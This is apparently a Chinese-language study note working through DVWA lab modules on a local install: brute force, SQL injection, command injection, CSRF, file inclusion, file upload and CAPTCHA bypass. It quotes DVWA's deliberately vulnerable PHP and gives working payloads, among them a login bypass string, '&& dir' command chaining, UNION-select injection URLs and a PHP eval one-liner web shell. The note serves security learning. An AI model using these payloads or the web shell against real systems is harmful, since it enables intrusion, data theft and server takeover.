DVWA学习笔记

原来装的DVWA没有认认真真地做一遍，靶场环境也有点问题了，到github上面重新下载了一遍：https://github.com/ethicalhack3r/DVWA

复习常见的高危漏洞，产生，利用，防范的方法

DVWA靶场在本地的搭建不再赘述，网上有很多优秀的博客

将级别设置为Low 

第一个模块是Brute Force，暴力破解模块

当输入错误的账号密码时，页面会返回错误信息

 当输入正确的账号密码时，页面会返回正确信息

 使用burpsuite抓包之后暴力破解账号密码

因为我们不知道账号和密码，所以使用burpsuite->intruder->Cluster bomb选项，对账号密码两个参数进行爆破

但是这样的做法不足之处在于，所有的尝试次数=字典用户名数量X字典密码数量，用户名和密码的数量稍微大一点，运行次数就会非常大，所以在真实环境中，我们尽量手动先对用户名进行测试，查看页面的报错信息，有很多网站都会显示是用户名错误，还是密码错误，以此来判断用户名是否存在，再对存在的用户名专门进行密码爆破，减少了很多不必要的工作量

 使用burpsuite自带的用户名和密码字典，其组合数量都达到了三千多万，所以在真实环境中尽量不要采用用户名和密码同时爆破的方法。

这里为了快速看到结果，我改为了爆破账号为admin的密码

 根据返回包的不同相应判断密码是否正确，这里可以看到当密码为password的时候返回包长度为4755，可知密码就是password

Request id为0的那个是我第一次登陆的时候，直接设置密码为password，所以也成功登录。

查看Low级别的Brute Force的源代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src="{$avatar}" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

　　可以看到将我们GET输入的账号和md5加密后的密码放入了SQL查询语句进行查询，除此之外没有对登录点进行任何防御，还有这一句

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

　　可以看到这一句是存在SQL注入漏洞的，我们也可以使用万能密码在登录点进行登录，如构造：

 

 密码构造如 admin' or '1'='1#，密码随便输入，即可绕过密码进行登录

第二个模块是Command Injection，命令注入

 这种题目在CTF比赛中遇到过，这里是我们先输入一个ip地址，服务器会为我们ping这个IP地址

 先复习一下命令注入的基础知识

​ 命令注入攻击最初被称为Shell命令注入攻击，是由挪威一名程序员在1997年意外发现的。第一个命令注入攻击程序能随意地从一个网站删除网页，就像从磁盘或者硬盘移除文件一样简单。 ——百度百科
 命令注入通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一，国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞　　

　　在命令注入中有很多的特殊符号可以进行利用，达到绕过黑名单和执行任意命令的效果。

管道符 | :连结上个指令的标准输出，做为下个指令的标准输入。

后台工作&: 当要把命令放在后台执行时，在命令的后面加上&，注意是放在完整指令列的最后端，如linux下使用tar进行文件压缩的时候，可能用时会比较长，我们就可以将其放入后台执行：

tar cvfz data.tar.gz data > /dev/null&

逻辑符号&& : 表示and的逻辑符号，当前一个命令执行成功之后，就执行&&后的一条命令

逻辑符号 || : 表示 or 的逻辑符号，当前一个命令执行失败之后，才执行||后的一条命令

在linux和windows下都可以使用&&符号进行命令的连续执行

在这里我们服务器是windows的，所以输入 

127.0.0.1 && dir

　　

 可以看到不仅执行了ping 127.0.0.1的命令，还显示了当前文件夹下的文件，实现了命令注入

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

　　查看命令注入 low级别的后端PHP代码

 在使用php_uname('s')函数判断了我们的操作系统之后，使用shell_exec函数执行ping 我们输入ip地址的命令，我们输入了恶意数据之后，执行的命令变为了

ping 127.0.0.1 && dir

　　从而达到了命令注入的效果。

第三个模块是Cross Site Request Forgery (CSRF)

CSRF即跨站请求伪造，也就是可以劫持其他用户去进行一些请求，其危害的严重性由当前这个请求是什么操作来决定

 可以看到这里是一个修改密码的页面，需要我们输入新密码

我们将密码修改为password试试，可以看到url变化成为了：

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

　　如果用户的登录信息还没有过期，点击这个链接之后，就会将密码修改为password，攻击者并不能通过CSRF攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户的浏览器，让其以用户的名义运行操作。

将管理员的密码重置为admin

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

　　CSRF漏洞主要是用于越权操作，所有的漏洞出现在有权限控制的地方，比如说，管理后台，删除文件之类的，有空的时候可以审计一下CMS，看能不能挖掘一些CSRF的CVE

看一下CSRF low级别的后端代码：

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

　　检测两次输入的密码是否相同，然后将密码md5加密之后覆盖数据库里面原来的密码值

在Burpsuite中有一个用于实现检测CSRF漏洞的功能，在对Request包右键>Engagement tools>Generate CSRF PoC，其会自动生成一个HTML文件，我们也可以使用burpsuite来利用此漏洞

第四个模块是文件包含漏洞 File Inclusion

 如果有红色的提示，需要在php.ini配置文件中将allow_url_include开启为On，然后重启phpstudy

重启之后可以看到红色的警告消失了

文件包含漏洞分为了本地文件包含和远程文件包含，远程文件包含就需要设置allow_url_include=On， 因为服务器开启allow_url_include是一种危险行为，所以现在默认都是未开启的。

相对于本地文件包含，远程文件包含更容易被利用，我们先测试本地文件包含。

点击file1.php文件，可以看到url的变化为：

?page=file1.php

　　点击file2.php，url变换为：

?page=file2.php

　　所以很容易想到修改文件名，查看同目录文件夹下不能访问的文件

 这里有file4.php，我们修改url为

?page=file4.php

　　可以看到页面变为了

 :-)，这正是DVWA的作者想让我们做的，当然，如果存在目录遍历漏洞的话，我们还可以访问网站上的任意文件

在fi文件夹的上一级目录中创建hi.txt文件

 构造：

?page=../hi.txt

　　

 可以看到目录跳转之后显示了hi.txt文件夹的信息

 接下来我们尝试远程文件包含漏洞

在本地创建2.php文件

构造payload为：

?page=http://127.0.0.1/2.php

　　

 访问执行了phpinfo()，当然也可以直接远程包含一句话木马。

看一下漏洞的源代码为：

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

　　可以看到对于输入的page文件没有进行任何过滤，成为变量file的值，文件包含后的显示在代码里并没有显示出来。

File Upload

 文件上传漏洞，很常见也是能迅速拿到服务器shell的一个漏洞。

常见的连接一句话木马的工具有：中国菜刀，蚁剑，冰蝎。

我们这里还是使用中国菜刀，上传PHP一句话木马chopper.php

<?php @eval($_POST['chopper']);?>

　　

上传后友好地返回了上传路径

 菜刀连接之

 可以看到已经连接成功。

查看文件上传漏洞的源代码：

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

　　首先获取到文件上传的位置，使用move_uploaded_file() 函数将上传的文件移动到新位置即我们刚才获取到的文件上传位置。

这里并没有对上传的文件是否为木马进行检查，上传成功后返回上传路径以及提示信息。

Insecure CAPTCHA

不安全的验证码，做这个题目之前需要先配置config.ini.php里面的key值，先去谷歌网站上申请key值https://www.google.com/recaptcha/admin，操作很简单，这里就不再赘述。

配置后是这样的

 

 这里是一个修改密码的操作，火狐浏览器抓包出了点问题，直接分析源代码

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action="#" method="POST">
                    <input type="hidden" name="step" value="2" />
                    <input type="hidden" name="password_new" value="{$pass_new}" />
                    <input type="hidden" name="password_conf" value="{$pass_conf}" />
                    <input type="submit" name="Change" value="Change" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

　　虽然看上去操作很多，实际上就分为了两步，可以看出来，两个if进入的条件是通过是否点击change和step的数值来决定的，而step数值是我们在抓包的过程中可以进行修改的。

第一个if是检测验证码是否输入正确，输入正确后进入第二个if，进而修改密码。这里的验证码就是为了防止CSRF点击后直接修改密码，添加了输入验证码的判断。

但是不难看出，虽然谷歌的验证码没有问题，但是DVWA服务器后端对于验证码正确与否的判断是由一个用户可以修改的量step来决定的，进而我们可以令step=2，从而构建CSRF攻击。

SQL Injection

sql注入漏洞，危害最大的漏洞之一，实际的漏洞挖掘中也经常遇到，但是因为防火墙和安全狗的原因，即便学习了SQL注入，我们还需要知道怎么绕过过滤，进一步进行SQL注入攻击。同时直接将结果直接回显在页面上的注入也越来越少了，更多的时候我们需要用到盲注来获取数据。

 输入ID查看页面的回显。

url为：

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=5&Submit=Submit#

　在id后添加单引号报错

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27&Submit=Submit#

　　

 注释掉id后的引号页面正常

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27--+&Submit=Submit#

　　

 可以猜测后端的id变量为: '$id' 形式

查看源代码关键处如下：

SELECT first_name, last_name FROM users WHERE user_id = '$id';

　　使用order by 判断字段数为2

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20order%20by%202--+&Submit=Submit#

　　回显位置判断：

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20and%201=2%20union%20select%201,2--+&Submit=Submit#

　　

 回显位置为1,2

简单测试一下，查看当前用户和数据库名称

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20and%201=2%20union%20select%20user(),database()--+&Submit=Submit#

　　

 可以看到已经显示了数据库的名称和用户